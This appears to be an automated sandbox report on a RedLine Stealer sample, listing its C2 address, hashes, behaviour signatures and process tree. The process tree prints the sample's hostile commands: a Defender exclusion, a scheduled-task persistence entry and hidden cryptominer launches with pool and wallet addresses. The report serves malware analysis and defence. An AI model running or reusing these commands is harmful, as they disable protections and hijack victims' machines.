Analysis

  • max time kernel
    102s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/01/2023, 01:58

General

  • Target
    file.exe
  • Size 1.6MB
  • Sample230104-cdvfqsgh2v
  • SHA256 d093cc2e257699ebf02497e30b6c5590ef100f44a7d692d2cac83f0a813985b5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • GIVEMEMYGUN

C2
  • 193.233.49.83:3321

Attributes
  • auth_value

    862b38f54d952bd9a16b1945a039305a

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Detectes Phoenix Miner Payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5080
    • C:\Users\Admin\AppData\Local\Temp\ghoul.exe
      "C:\Users\Admin\AppData\Local\Temp\ghoul.exe" hvasjw34favaawhnb68
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:788
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3368
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
          4⤵
          • Creates scheduled task(s)
          PID:4504
      • C:\Users\Admin\AppData\Roaming\Program.exe
        "C:\Users\Admin\AppData\Roaming\Program.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2160
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1964
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RAiXn2Cm9gBmXtWE1r43sAskTm6LNhULcE.worker -p x -t 4
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2736
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          4⤵
            PID:4776
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0xfD75a752E7594751115555Af6d67B49D8dFf2Ee5.Rig001 -coin etc -log 0
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          PID:4392

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ghoul.exe

          • Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          ghoul.exe

          • Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
          • Size 935KB
          • SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
          • MD5 SHA1 SHA512 SSDEEP

          Program.exe

          • Path C:\Users\Admin\AppData\Roaming\Program.exe
          • Size 266KB
          • SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
          • MD5 SHA1 SHA512 SSDEEP

          Program.exe

          • Path C:\Users\Admin\AppData\Roaming\Program.exe
          • Size 266KB
          • SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
          • MD5 SHA1 SHA512 SSDEEP

          memory/788-144-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

          memory/788-143-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

          memory/788-142-0x00000225D4560000-0x00000225D4582000-memory.dmp

          memory/1964-158-0x0000000004FD0000-0x0000000004FE2000-memory.dmp

          memory/1964-169-0x0000000007760000-0x00000000077D6000-memory.dmp

          memory/1964-172-0x0000000006B40000-0x0000000006B5E000-memory.dmp

          memory/1964-171-0x00000000080B0000-0x00000000085DC000-memory.dmp

          memory/1964-170-0x00000000079B0000-0x0000000007B72000-memory.dmp

          memory/1964-168-0x0000000007690000-0x00000000076E0000-memory.dmp

          memory/1964-161-0x0000000005440000-0x00000000054A6000-memory.dmp

          memory/1964-160-0x0000000005030000-0x000000000506C000-memory.dmp

          memory/1964-159-0x0000000005100000-0x000000000520A000-memory.dmp

          memory/1964-157-0x0000000005530000-0x0000000005B48000-memory.dmp

          memory/1964-152-0x0000000000400000-0x0000000000438000-memory.dmp

          memory/2320-145-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

          memory/2320-139-0x0000000000170000-0x000000000025E000-memory.dmp

          memory/2320-140-0x00007FFBA9460000-0x00007FFBA9F21000-memory.dmp

          memory/2736-162-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/2736-167-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/2736-164-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/2736-165-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/2736-173-0x0000000140000000-0x00000001400C6000-memory.dmp

          memory/4392-178-0x0000000140000000-0x000000014082B000-memory.dmp

          memory/4392-177-0x0000000140000000-0x000000014082B000-memory.dmp

          memory/4392-176-0x0000000140000000-0x000000014082B000-memory.dmp

          memory/4392-179-0x0000000140000000-0x000000014082B000-memory.dmp

          memory/4392-174-0x0000000140000000-0x000000014082B000-memory.dmp

          memory/5080-134-0x00000000055E0000-0x0000000005672000-memory.dmp

          memory/5080-132-0x00000000007E0000-0x0000000000976000-memory.dmp

          memory/5080-135-0x00000000055B0000-0x00000000055BA000-memory.dmp

          memory/5080-133-0x0000000005970000-0x0000000005F14000-memory.dmp